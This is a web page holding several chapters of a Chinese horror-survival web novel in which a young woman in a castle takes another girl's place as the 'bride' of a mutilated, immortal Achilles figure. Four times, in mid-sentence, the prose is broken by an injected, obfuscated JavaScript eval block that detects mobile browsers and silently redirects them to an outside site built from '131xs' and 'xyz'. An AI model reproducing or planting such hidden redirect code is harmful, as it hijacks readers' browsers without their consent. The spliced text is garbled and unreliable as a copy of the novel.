阿克斯的精力似乎格外充沛,他正在挨个儿打量包括自己在内的,即将成为他“新娘”的“女士”。 忽然,阿克斯转动脖子,朝她的方向看了过来。项纨动作极快的收回目光转移视线,不确定对方是否察觉到自己刚才的打量,项纨扣了扣手指,保持盯着自己裙摆的动作。好一会儿,直到那种被窥视感消失,项纨才动了动脖子。 应付过宾客的道贺,萨瑞亚再次举起酒杯,“舞会将进行到深夜,接下来请大家自便。”说完,萨瑞亚转身看向六人,叫来了女仆伊莎。“伊莎,先把阿克斯推回房间。” “好的,夫人。” 目送伊莎将阿克斯推离正厅,萨瑞亚朝几人开口:“姑娘们,跟我来吧。” 她提着裙摆转身,动作优雅地朝着螺旋楼梯走去。几人你看看我我看看,最终还是项纨第一个跟了上去,于露紧接着跟在她身后。陆舸是第三个跟上的,傅小雅走在她后面。琪琪逮住机会狠狠地嘲笑宋宇一番,两个小情侣走在最后面。 爬了两层楼,萨瑞亚领着几人来到一条长廊之上。 长廊的一侧是砖墙,另一侧是一排一共三个房间。 “这里是各位今晚的住处,两人一间。”萨瑞亚说,“晚些时候,我会派人来带走今晚陪伴阿克斯的准新娘。” 此话一出,几人的神情顿时凝重。她们本以为至少也要等到明天,没想到居然这么快。 萨瑞亚下达完通知,看了几人一眼,转身正要离开,忽然又停下脚步回头补充道:“对了,夜里不安全,请各位待在自己的房间里不要随意走动,我和阿克斯都不喜欢不安分的姑娘。” 萨瑞亚说完,脚步轻飘飘的下楼。 剩下几人站在长廊上,“先分房间吧。”项纨说。 “我跟你一间。”于露立马接道。与其跟不认识的人一起,还不如跟项纨住一间。 琪琪看了眼宋宇,又看了看傅小雅,“那我跟小雅一间房。”剩下两个男生没有选择的余地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904649|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……你们说她会带走谁?”傅小雅突然问出这个问题。她是胆子比较小的那一挂,刚刚听萨瑞亚说会来带人走,她心里开始惶惶不安。 可谁又知道答案呢。项纨秉持着既来之则安之的理念劝她:“别想那么多。大家都回去休息休息养一养精神吧。”等会儿不论被接走的是谁,剩下的人恐怕都没法儿安心待在房间里了。 几人回到分配好的房间里。 项纨粗略地看了看屋里的陈设,典型的西式复古风,房间的中心摆放着一张大床,四周挂着帷幔。屋子里没有别的地方能坐,项纨一屁股坐在大床边沿,撑着下巴开始思考。 于露绕到大床另一侧坐了下来,回头一看项纨没有动静,闲不住的她话又多了起来:“项纨,你在想什么?” 项纨没理她。 于露不甘寂寞,继续追问:“喂,项纨,说句话呀!” 好不容易组织好的思绪又被拉扯回来,项纨终于不耐烦地回头睨了她一眼,语气不善:“你有事儿吗?没事就别跟我说话。” “你这人——” “于露,我想我有必要提醒你一下,我们现在虽然是在同样逼不得已的情况下阴差阳错的成为这场附加题的试验品,我可以短暂地放下我们之间的芥蒂和你做这个盟友,但也仅此而已了。” 锐利的话锋刺得于露心里极不舒服,脸色也变得有些难看,不过她竟然没有反驳,沉默了。 项纨很满意现状,安静的空间能让她集中注意力继续想思考。 这堂课叫做古典文学,从目前的情况来看,很显然是西方古典文学。她对西方文学的了解不多,从现在已知的情况来看,项纨对这课程考验有了一些基本的判断——顺利在阿克斯那里度过一天一夜,捱过这六天。 但是……项纨又总觉得事情不会这么简单。而且上课的时候也不会提前被告知分值,课堂的难易程度完全不能提前预判。 有点难搞啊。 就在她思考之际,门口忽然传来一阵沉重的敲门声。项纨并没有立马起身去开门,她仔细聆听这声音,急促的三声之后,又平缓两声。没有正常人会这样敲门。见她一动不动没有去开门的意思,本来已经起身的于露站在原地,也没有下一步动作。 果然,在两人等了一阵没有开门之后,门口的敲门声忽然停了。 没一会儿,那声音再次响起,只是这次声音离她们更远了,应该是在敲隔壁房间的门。 隔壁是琪琪和傅小雅,这两人刚才应该听到了她们这边的动静,大概是知道她们没有开门的,所以隔壁的敲门声也是响了一阵就停下,然后再次远去。 下一次,敲门声在更远的地方响了起来,这次是在男生房间的门口了。他们听到琪琪和傅小雅没开门应该也不会开门吧。可就在项纨这么想的时候,她忽然听见敲门声停了。 不对,这次才敲了两下!除非……有人开门了。 7. Achilles 于露也想到了这点,“项——” “嘘。”项纨竖起手指打断她示意她别出声,自己起身,脚步极轻朝门口走去。来到门边,项纨小心翼翼地贴着门板,听外面的动静。 宋宇和陆舸的房间和她们之间还隔着琪琪和傅小雅的房间,那边的动静虽然也能听见,但不太真切。两个男生之一其中一个似乎说了什么,外面的沉默了好一阵,之后,便是大门沉重合上的声音。 居然风平浪静? 项纨后撤一步。虽然她很好奇外面究竟发生了什么,不过还是没有开门的打算。 于露比较着急想知道外头的情况,见她退回来,忙问道:“怎么样?” “不知道,”项纨说,“不过听上去似乎没出什么事。” “刚才敲门的是谁?是那个什么萨瑞亚吗?” 项纨摇头:“不知道。” 于露:“你怎么什么都不知道?” 项纨手腕一转指着大门:“要不你自己出去看看?” 于露:“……” 项纨回到床边靠着床头坐下,闭着眼睛开始冥想。她们来到这个地方之前的时间是早上,而刚到这里的时间应该是傍晚,相当于一整个白天的时差,让人毫无睡意。 而于露这个人没睡意的时候是闲不下来的。 她在房间里来回踱步,一会儿摸摸冰凉的墙砖,一会儿又绕到窗边向外远眺。只不过房间里的灯火都已经异常昏暗,更别提外面。古堡的外围被一片漆黑笼罩,透过狭小的窗户往外看,能看见天空中有一弯红月,泛着诡异红光的月亮照不透四周浓墨般的黑。 “诶?你看,那是什么?”忽然,于露看见在距离古堡不远的地方,有一长条红色的,闪着微光的东西。太黑了,她又有点轻微的近视,实在是看不真切,于是扭头喊项纨。 项纨靠在床上,没动。 于露急了:“喂,你快来看看啊!” 项纨还是不动。 ……于露大小姐脾气又上来了,快步走到床边一脚踢在床沿,“项纨!” 项纨悠悠睁眼,“原来是在叫我啊,你这喂啊诶呀的,我还以为你一个人自言自语呢。” “你……” 于露总爱招惹项纨,每次又会被她堵得哑口无言,她气得不行。偏偏项纨这个人像个茅坑里的石头又臭又硬,于露只能把火压回肚子里,尽量让自己的语气平和些,“我说正经的,你视力好,过来看看那到底是什么东西?” 项纨斜睨她一眼,起身,慢悠悠来到床边,站在于露刚才的位置往下方眺望。 只一眼她就看见那片上下浮动的红光,项纨屏息凝神仔细观察了一会儿,终于确定——那是一条河。 不对啊,进到这座古堡之前她观察过四周的地形,这古堡的四周明明是悬崖峭壁,这条河的位置很显然不在峭壁之下,什么时候凭空冒出来的? 没等她细想,门口再次传来敲门声。 “咚咚咚”,轻缓规律的三声。 项纨收回视线,回头对于露说:“去开门。” 于露正被这去而复返的敲门声吓一跳,忽然听见项纨的话,下意识“啊”了一声,反应过来之后有点恼怒:“你故意整我呢?” 外面都不知道是人还是什么就叫她去开?! 项纨懒得同她废话,她不愿去自己去就行了。来到门边把门打开,萨瑞亚站在门外。 “两位美丽的姑娘,我是否打扰到你们休息?”问话的时候,萨瑞亚脸上仍然挂着那种公式化的,假人般的微笑。 项纨身上冒起一丝寒意,尽量用同样礼貌的语气回答:“没有女士,我们还没有休息。” 萨瑞亚偏头越过项纨朝里面看了一眼。 于露有点害怕这个萨瑞亚,她总觉得这人像个伪装成人形的生物,一看到她的脸,于露脑子里就只有一个词——恐怖谷效应。所以她站得离门口远远的,有意躲避对方的视线。 萨瑞亚收回目光,朝项纨开口:“现在来打扰实在冒昧,但我没有别的办法。我的儿子阿克斯吵闹着要一位准新娘陪伴他,思来想去,我决定在二位之中选择一位成为今晚陪伴他的人。” 晕了,要不要这么倒霉第一天就被选到!项纨心里一万个感叹号,面上还得装出一副若无其事的模样,她看向萨瑞亚,等待她的下文。 “那么今晚,”萨瑞亚缓缓抬手,越过的的肩膀,指向站在里面的于露,“就请这位女士陪伴阿克斯吧。” 于露喉咙一紧,颤巍巍指着自己:“我?” 萨瑞亚点头。 于露紧张得不会说话,求助的目光投向项纨,满眼写着“救救我!” 萨瑞亚并没有因为她沉默而生气,她进入房间,一步一步朝着于露走进,直到来到她身前,朝她递出一只手,发出邀请的信号。 于露身体本能抗拒地往后躲了躲,萨瑞亚看在眼里,眼中一抹阴冷划过,片刻后恢复正常。“小姑娘,阿克斯还在等你。” 萨瑞亚的语气依然平静,仿佛一个苦恼儿子少男情怀不得不想办法满足的母亲。可于露却从短短的一句话里听出了威胁的意思,她知道再拖下去恐怕也不是办法,假如惹恼了这个萨瑞亚,估计都没好果子吃。 咬咬牙,于露抬起自己的手,正要搭在萨瑞亚的手上—— “萨瑞亚夫人。”项纨忽然出声打断,房内的两人齐刷刷看向她,萨瑞亚脸上出现短暂地瞬间空白,很快恢复原样。于露见她缓步走到了狭小的窗口边,有点摸不着头脑她想干什么。 “萨瑞亚夫人,刚才我睡不着,所以看了看窗外的夜景。”项纨站在窗口边,指着窗外那条泛着点点红光的河。“这一看,就看到了窗外的那条河。夫人,不知道如此美丽的河叫什么名字?” 那原来是条河——于露不合时宜的想,再把注意力放回萨瑞亚身上的时候,她吓了一跳。 只见萨瑞亚的手垂了下去,脸色在项纨说出自己看到窗外有条河的时候就变了。一直上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904650|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬的唇角此时垂落,向下撇着,看向项纨的目光阴冷又锐利,整张脸都有种耷拉下来的感觉。 她似乎放弃了带走于露的想法,整个人的注意力都转移到项纨身上。她直勾勾看着项纨,语气不虞:“小姑娘,我似乎强调过,我和阿克斯都不喜欢不安分的女孩子。” 项纨故作惊讶捂住嘴巴,好像听到什么不可思议的额话,语气也夸张起来,“对不起夫人!对不起,我只是太无聊了想找点事做而已,这样冒犯到您了吗!?” 不知道话里的哪个字刺激到了萨瑞亚,她眼珠子一转,怪异的笑容重新回到她的脸上。她走到项纨跟前,朝她伸手,“既然你这么无聊,那我想,你一定很乐意去陪伴阿克斯。” 乐意个屁。 项纨强忍翻白眼的冲动,扯出一个勉强的笑容,抬手搭在萨瑞亚的手腕上,跟着她的脚步朝房间外走去。 一直处于懵逼状态的于露终于反应过来项纨这是在转移萨瑞亚的注意力,让萨瑞亚把目标换成她。 她一时心情有点复杂,张口想说什么,项纨就像提前感应到似的,回头瞪了她一眼,那眼神的意思再简单不过——闭嘴,别让老娘的心思白费了。 于露嘴角抽了抽,也不敢多话,眼睁睁看着项纨跟在萨瑞亚身后,直到大门被关上,两人的身影消失在她的视线中。 项纨感受着手掌处传来的萨瑞亚手腕间的凉意,确信这不是一个正常人类该有的体温。跟着萨瑞亚下了一层楼,穿过长长的回廊,项纨顺势向下看了一眼,发现所谓的庆功舞会不知道什么时候已经结束了。眼下,正厅里空荡荡黑漆漆,看上去一个人也没有。 “相信我,爱乱看可不是什么好习惯,它或许会为你带来厄运。” 走在前面的萨瑞亚冷不丁回头,张口说了这么一句。 自己刚才的动作明明很小,只是扭头张望了一下,这人难道后脑勺里藏了只眼睛,这都能感觉到? 项纨没说话,回以一个假笑。萨瑞亚看了她一眼,并未再多说什么,只是加快了脚步。两人最后停在了长廊尽头的房间门口,萨瑞亚站定,抽回了自己的手。 “到了。” 项纨扫了眼房间大门。 和别的房间都不一样,别的房间门是木门,而这间房……是看上去就很沉重的,关上之后就叫天天不应叫地地不灵的石门。 萨瑞亚走到门边,在某处摸索着,随后按了下去。伴随着一阵齿轮摩擦的声音,厚重的石门缓缓地朝里打开。 萨瑞亚身子侧了侧,抬头看向项纨。 这是……要我进去的意思? 项纨看了眼黑漆漆的房间,没有太多的犹豫,抬脚朝里头走去。 萨瑞亚看着项纨的身影完全进入到房间里,笑容弧度更深,嘴唇几乎咧到耳根,眼中闪烁着狡黠的光芒,再次抬手在石门开关处按下去。 石门缓缓合上。 萨瑞亚看了一眼紧闭的大门,心满意足的提着裙摆转身离去。 8. Achilles 项纨来到房间里,里面竟然还有一条很短的,走廊一样的通道,打眼一看,有点昏暗。 她环顾四周,发现四周每一面墙壁上都有些反光,项纨动了动鼻子轻轻一嗅,闻到一股棕榈油的味道。这是什么奇怪的装修风格?再往里,地上散落了一地的圆球颗粒状物体,项纨低头,认出那是大豆。她用脚扫开一片,缓缓的小心翼翼走着,终于走到了最里头。 抬头一看……我的个娘!这房间堪称被打造成了一个360度无死角全自动立体防御的安全屋,各种冷兵器制成的机关对准大门窗口,阿克斯靠在床上,显然就是那个被保护起来的目标。 听见动静,他艰难地蠕动身体,目光似乎带着某种目的,如鹰隼般看向来人。可当他看清来人的脸,脸上的表情瞬间变了。 这变脸的样子让项纨意识到他们选人似乎是有计划性的,而自己的出现,大约不在这母子俩的计划之内。 “怎么是你?”阿克斯的声音嘶哑如野兽。 项纨提着碍事的裙摆,站在原地,“是萨瑞亚夫人带我过来的。” 阿克斯的目光在她的脸上游移。面前的女孩一头乌黑的长卷发扎成一束马尾,身形纤瘦,长相甜美,表情还有一点点迷茫,眼睛却亮得过分。看上去单纯无害,甚至有种任人揉捏的感觉。 令人不适的视线像一条冷冰冰,缠绕在身上的冷血动物。她抬头,对上阿克斯的眼睛,仿佛被吓到,又立刻转移了视线。 阿克斯的眼神逐渐从打量转变成满意。就是这样惊恐得像兔子一样的眼神,这些女人就该这样!他曾经是这里的英雄!尽管他现在不再伟岸,尽管他已经是个残缺的废人……可这些女人还是应该怕他,尊敬他,将他视为神祇! “你过来。”阿克斯开口,用一种命令的语气。 项纨怯生生挪了两步,朝他的床边走近了些。 “站那么远做什么?”阿克斯挣扎着,残缺的四肢使不上劲,他向下滑落了一些,“再过来些,把我扶起来。” 项纨照做,来到床边弯下腰,扶住他还剩三分之一的胳膊往后一使劲。这下阿克斯稳稳靠在了床头,用仅剩的那只眼珠把项纨从头到脚细细地打量了一遍。 “你叫什么名字?” “项纨。” “项纨。”阿克斯重复着她的名字,“我不喜欢你的名字,我重新给你取个名字,好吗?” 好你X。项纨心里骂道,嘴上:“……好。” 阿克斯思考了两秒,盯着她的眼睛,表情逐渐变得痴迷,“Luna,你就叫Luna。” Luna…… 项纨眼睛眨了眨,暗自头脑风暴起来。 “Luna,你知道为什么我要这么叫你么?” “为什么?” 阿克斯忽然咧开嘴巴,笑了。他骇人的模样配上这个奇怪的笑容让他整个人看起来更加惨不忍睹。“因为我很喜欢夜晚,也很喜欢……月亮,你的眼睛,让我想到了月亮。月亮是如此神圣又纯洁,Luna,你也像月亮一样纯洁,对吗?” 闻言,项纨半垂下眼,不知在想什么。阿克斯对她听完自己话的反应不太满意,语气带上一些愠怒,“Luna,为什么不回答我?你怎么不敢看我?你也嫌弃我这副模样吗?还是你也害怕我的样子?” 一连串的问题极具压迫感,项纨立马抬头看向他。虽然她刚才只是在思考问题,短暂地走神了下,不过从这个阿克斯的反应来看,他的情绪似乎过于敏感。按照项纨陪谢晓彤观看过的灵异惊悚求生片的经验看来,如果阿克斯是这个附加题里的Boss,那么她现在要做的就是尽量不要惹怒对方。 “没有,”项纨语气缓缓的,带着安抚的意味,“抱歉,我只是有点出神。” 她只是抱着试试看的态度这么一说,没想到阿克斯竟然真的冷静下来。他朝自己身边的位置偏了下脑袋,“来,坐到我身边来。” 项纨乖乖地坐到他身旁。他动了动,朝另一面墙的位置扬起下巴,“你看,墙上的那幅画。” 项纨顺着他面朝的方向看去,果然,在涂满棕榈油的墙上挂着一副画。屋里的灯光太暗,离得有些远,细节并不能看得很清楚,不过依稀可以看被裱起来的画卷中央,画的是一个骑着白马身形伟岸的英俊男人。 “怎么样?” 项纨猜到画上的人应该是阿克斯,于是选择顺着他说:“是个很英俊的骑士。” “是吗?”阿克斯听完,陷入回忆,“那个时候事实确实如此,我是多少淑女的梦中情人,那时候想要嫁给我的女人太多了,我一个也看不上。” 忽然,他话锋一转:“我知道这些女人一个比一个肤浅,她们口口声声说想嫁给英雄,可其实她们想嫁的只是英俊伟岸的英雄。” “我难道不是英雄吗?我保卫这里无数次,在一次一次的战争和狡猾的敌人偷袭之下,我变成现在这个样子!她们翻脸就不认人了……Luna,你说,这些女人是不是该死?” 听完,项纨只想腹诽一句:好恶毒的道德绑架…… 然而人在屋檐下,不能这么说,“她们或许依然是尊敬崇拜你的,只是比起以前少了一份爱慕而已。” 阿克斯看着项纨说话时的侧脸,听着她不急不缓的语气,笑容更深,“Luna,你真善良,还替她们狡辩。” 听他用“狡辩”这个词,项纨回头心里暗道一声不妙,难不成说错话了?好在,阿克斯并没有如她猜想的一样发飙,他只是把头往项纨的方向一偏,凝视着她的脸,很突然的换了个话题,向她发出请求:“Luna,你可以抚摸一下我的脸吗?” 项纨看着他张伤痕遍布的脸,说真的,这张脸惨烈到属于是给小孩儿看一眼能留下终身心理阴影的程度。要是换成一个心里承受能力较差的,别说是摸了,估计连直视他都费劲。 她又不能拒绝。因为不知道房间里这些机关开关在哪里,更不知道暗处是不是还有自己没发现的别的危险事物。她怕自己一旦拒绝,那些用来防御的冷兵器就会成为屠宰自己的凶器。 项纨把左手递了出去,才靠近阿克斯,他就迫不及待的将脸贴了上来。接触到他凹凸不平的皮肤,手心里传来的仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904651|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是不似活人的温度。 阿克斯闭上眼,贴着项纨的手,发出一声满足的叹息声,“自从我变成一个残废之后,你是第一个敢触碰我的人。” 废话,不然把你惹毛了让我死在这里? 项纨但笑不语,试探着抽回手。阿克斯并没有阻拦,他睁开眼睛,被灼烧之后黏连在一起的眼皮眨了眨,项纨从他的面部表情看出他此时的心情应该还不错。 “看在你让我很满意的份上,Luna,你可以得到一个奖励。”阿克斯忽然很突兀说了一句。 项纨有点懵:“奖励?什么奖励?” 阿克斯转动脖子,直勾勾看向她,“你可以向我提一个问题,我会如实回答你,当然,只能提一个。” 项纨没想到机会居然来得这么突然。如果只能提一个问题的话……项纨大脑飞速运转,思考怎样的问题能让她对这堂“课程”做出最正确的判断和选择。古典文学……阿克斯……Luna…… 几个词在她的脑海里串联,结合之前的信息,项纨的脑子里有了个渐渐成型的揣测。她抬头,直视阿克斯的眼睛,正要张口问他。 “确定是这个问题吗?Luna,你只有一次得到正确答案的机会。”阿克斯说着,低笑了一声,听上去不怀好意,仿佛拿捏准她听到这话就不敢贸然提问的心理。 而也是这个问题,忽然让项纨冷静下来。 不对,她怎么知道阿克斯到底会不会如实回答?就算他亲口说是真的,可万一他骗自己,自己也无法考证,只能自己通过蛛丝马迹去判断吧? 既然问什么都有被骗的可能,那就说明……什么问题都能问! “我的问题是,”项纨顿了一下,“你是不是……不会死?” 原本笑着的阿克斯脸色猛然一变,目光犀利地聚焦,停留在她的脸上。 房间里陷入了一种诡异的沉默,项纨屏息,等着他的答案。大约过了几十秒,又或是一分钟,阿克斯嘴角微微朝下一撇,开口道:“是也不是。” ? 这家伙在这儿跟她玩儿海龟汤呢?还是也不是……这他哥的跟没回答有什么区别? 当然,项纨心里虽然这么想嘴上可不能这么说。听到答案,她装出一副惊讶的样子,没等她发表点什么感想,阿克斯先说话了,“你为什么会问这个问题?” 他的语气带上此前未有的危险的气息。 项纨直觉自己如果没有回答好的话后果或许会有些严重。 死脑子,快编! 项纨大脑飞速转动,终于想出了搪塞的理由。她换上一副哀哀戚戚的表情,微微皱眉,看向阿克斯的眼神里带着心疼,“你的伤太多了,我很担心……我希望天神赐予你一副不死之躯,伟大的英雄永不陨落,这是我所希望的。” 听完她一番话,阿克斯神情果然有所松动。他的眼神渐渐柔和下来,看眼前的人仿佛看到了知己,语气无限趋近温柔,“Luna,原来你是这么想的。抱歉,是我曲解了你的用意。” 项纨抖落一身鸡皮疙瘩,果然,关键时候飙演技还是有用的。 9. Achilles 她换了副善解人意的表情,对他的话表示理解,“不怪你,阿克斯。你受到的磨难和痛苦太多,有防备之心是好事。” 听听这话术,项纨都快被自己的表演打动了,她偷摸观察着阿克斯的反应,见他疑虑像是有所消减,于是把脸上的表情稍稍收敛了些。她很懂得过犹不及的道理。 阿克斯看上去被她的情绪影响到了,他叹了口气,语气有些哀伤,“你是在我变成这样之后第一个对我说这种话的人,Luna,看来我没有看错你,你果然如月亮一般圣洁,也和月神一样善良。” 这措辞再次激起项纨一身鸡皮疙瘩,她硬着头皮,保持一副悲悯的表情,然后就听见阿克斯说:“如你所见,我确实不会死,尽管我成了一个怪物。” 这是……划考试重点了! 项纨在心里分析这句话的可信度,基本判断为真。 靠在床头的阿克斯说着说着,似乎沉浸到了自己的情绪里,他将头偏向一边,那是窗口的方向。 这间房的窗户被封了起来,墙根处洒满了锋利的钉子,窗口附近有许多引线牵动,一旦触碰,对准窗口的冷兵器就会砍下去。阿克斯的视线从被封死的窗口缓缓向下,停在了闪着寒芒的钉子上。 “你看。” 项纨顺着他的视线看去。 “知道这些东西是用来做什么的吗?” 项纨摇头。 阿克斯声音带上了恨意,“防备那些阴险狡诈的刺杀者。” 项纨惊讶地捂着嘴道:“刺杀者!” “那些自私的,觉得我从祂们手上夺走了不属于我的东西,一定要我交还回去的刺杀者。”阿克斯阴沉沉道。 不属于他的东西…… 项纨垂下眸子,快速扫了一眼他身上各种触目惊心的伤痕。 “这些卑劣的家伙,我不曾影响到祂们分毫,祂们却始终不愿意放过我!” 听阿克斯的情绪渐渐不对,项纨知道这个时候不适合继续追问,她放缓语气,温柔安慰阿克斯,“夜深了阿克斯,外面风平浪静,不会有刺杀者的。” 阿克斯动作艰难地回头,“不Luna,你不了解这群家伙……” 灯光昏暗的房间里,阿克斯仰着残损的面庞盯着床上的帷幔,表情透露出一股子说不出的绝望,“你听。” 项纨心头一跳,竖起耳朵,一阵窸窸窣窣的声音从窗口处传来。 阿克斯深深地叹了口气:“祂们来了。” …… 躺在床上翻来覆去好几个小时,天边似乎隐隐泛起鱼肚白,于露还是一丝睡意也无。 排除课堂内外时差的因素,她虽然讨厌项纨这个人的臭脾气也看不惯她那副假清高的样子,可今晚,她是为了替自己才会被萨瑞亚选中……于露良心到底有些不安。 “靠!”她骂了一句,从床上打挺坐了起来。 扭头看了眼渐渐泛白的天,睡是睡不着了,她起身下床,走到窗边。 天色亮了起来,视野就变得稍稍开阔一些。于露朝昨天泛着红光的被项纨说成一条河的方向一看,脑袋里立时挂上几个问号。 河呢? 那下头哪有什么河?分明只有一片深不见底的黑雾。难道是项纨看错了?大晚上的,看错倒也正常。等她回来,自己一定要狠狠笑话笑话她。 等她回来,她……回得来的吧? 压下去的心烦意乱又重新冒头,于露决定做点什么转移一下注意力。对了!去问问昨晚开门的那两个人到底看到了什么! 于露脱掉累赘的裙子只穿着自己的衣服换好鞋,脚步匆匆走向门口,手刚往门把的方向伸,“吱呀”一声,门开了。 于露先是被吓了一跳,看清门口的人之后,心里一股巨大的如释重负夹杂着欣喜,“项纨!” 还活着! 项纨疑惑地看着她,“你这是去哪儿?衣服呢?” “我……”于露一时激动得有点不会说话。 项纨嫌弃地瞥她一眼,提醒道:“别把衣服脱了,可能会被当成入侵者杀掉。” 本以为于露听到自己这话又该炸毛,然后怎么着也要找自己掰扯两句,可是她今天居然一反常态的什么也没说,就那么老老实实转身回去,拿起床上的裙子套回身上。 于露穿好衣服,一转身,被项纨吓得后退两步惊叫出声:“你干什么!?” 项纨掂了掂手里从阿克斯房间顺出来的一把匕首,刀尖对着于露,满眼怀疑,“你是谁?” “有病吧你项纨!”于露的愧疚和担心霎时间烟消云散,只剩满肚子火气和一脑门问号,“瞎了还是傻了啊你,我是于露!” 这副样子……项纨眉梢一挑,把匕首收了起来——这才对味儿。刚才那样子,完全像是被夺舍了。 于露要是知道自己一晚上的担惊受怕和良心不安换来的是项纨以为她被夺舍了,估计能气得暴跳如雷。 “刚看你要出门,去哪儿?”项纨把匕首插进腰间的套子里。 于露脱口而出:“去找昨天……”话说一半,脑子转过弯来了,“项纨!你不应该先解释一下你刚才的行为吗?” “正当防卫,毕竟在这种奇怪的地方一晚上没见了,也不知道你还是不是原来的你,对吧?”项纨挑了个稍微委婉一点的说法。 于露瞪着她,说:“少来,我还没问你呢!你昨晚……”她顿了顿,忽然有点不知道该怎么说了,“……你昨晚没事吧?” 项纨往窗边走去,一边走一边回答她:“我能有什么事?” 于露急迫追问:“昨晚没出什么事吗?那个萨瑞亚不是说要陪他一天一夜吗,你怎么现在就出来了?你不怕萨瑞亚对你做什么吗?” 项纨停下脚步,向下方眺望,果然,昨晚出现的那条河已经不见了。收回目光,项纨回头解答于露的疑惑:“昨晚确实出了点状况,所以萨瑞亚现在应该没工夫管我,我现在要去找昨晚开门的两个人问话,你要是想一起就别多话闭嘴跟上。” “你!” ……行,看在她昨晚是帮自己的份上,她忍! 项纨把碍事的裙摆团吧团吧,往上一捞,走起路来顿时松快很多。于露见状,闭嘴,有样学样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904652|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟在她身后,两人推开门出来,隔壁约莫是听见了动静,在她们出门的时候也打开了门。 “项纨,早啊。” 琪琪跟她打了声招呼,傅小雅跟在她身后,朝两人点了点头。 看上去两人似乎休息得不错,琪琪歪着脑袋跟她身后的于露也打了个招呼。 于露还是那爱答不理的死出。 琪琪也没在意,她的注意力已经被项纨的衣服吸引了,她指着项纨的侧腰,“项纨,你衣服上那是什么?你受伤了?!” 于露和傅小雅顺着琪琪指的位置看去,只见项纨穿着的那条墨绿色礼裙侧腰的位置的确洇了一团深色的痕迹,以几人的生活经验来看,能造成这种痕迹的只有一个东西——血。 项纨低头一看,伸手浑不在意地摸了一把,拿开的时候,掌心一片暗红。 于露目瞪口呆地看向她手中那片颜色,急得声音尖锐变调:“你受伤了怎么不说?” 项纨盯着自己的手,嫌弃“啧”了一声,“有水吗?” “傻了吧你,这时候还想着洗手?” “你才傻了,”项纨无语地瞟她一眼,“这不是我的血。” “不、不是你的血?”傅小雅喃喃,“那是谁的?” 项纨无所谓的耸耸肩,“阿克斯或者其他人的,总之我没受伤。” 傅小雅倒吸一口凉气:“你的意思是……昨晚被选中陪阿克斯的人是你!” 项纨点头:“是我。” 于露看着爽快认下的项纨,心情复杂。 琪琪问出了和于露同样的问题:“那他那边是什么情况,萨瑞亚不是说一天一夜吗?” “不急,”项纨说,“琪琪,麻烦你去敲门,我有问题想请教他们。” “我也正要去找他们呢,”琪琪忙道,“走吧!” 四人来到门口,琪琪抬手轻轻敲了三下,几秒之后,门从里面打开。 陆舸脱掉了滑稽的裙子,穿着黑T牛仔裤站在门后,似是没想到女生们齐刷刷的站在外面,愣了愣,直到琪琪叫了他一声,他才反应过来。 “陆舸,宋宇呢?” 陆舸侧身:“刚起来。” “琪琪,麻烦你把他叫过来。” “好。”琪琪从陆舸身旁的缝隙溜进去,陆舸看着门外多出来的三个人,微微皱眉,尤其是在闻到一股若有若无的血腥气之后,眉头皱得更紧。 “你们谁受伤了?”他问。 项纨下意识看了眼自己腰上那团血迹,解释:“没受伤,只是打斗的时候沾上了血。” “打斗?”陆舸的眼神在她身上上下扫视,“你?和谁?” 项纨不大喜欢这个人看自己的眼神,不知道为什么,总感觉他有点看不起自己的劲儿。她不想跟他多话,也没打算进去,反正站在门口也能说,“这不重要,我有事想问你们。” 两人说话的功夫,琪琪已经带着宋宇来到了门边。 六个人聚在门口,五个人的视线集中在项纨身上。忽略几人的目光,项纨开口,直截了当:“昨晚来敲门的,是什么东西?” 10. Achilles “信息交换。”宋宇正要开口,被陆舸一句话抢在前头打断。 见项纨看向自己,陆舸一脸坦然,“你想知道昨晚来敲门的是什么,我们也想知道昨晚发生了什么,公平起见信息交换,没意见吧?” 话音落下,一片沉默。 项纨对陆舸所谓的信息交换没有意见,她点头,“可以。” 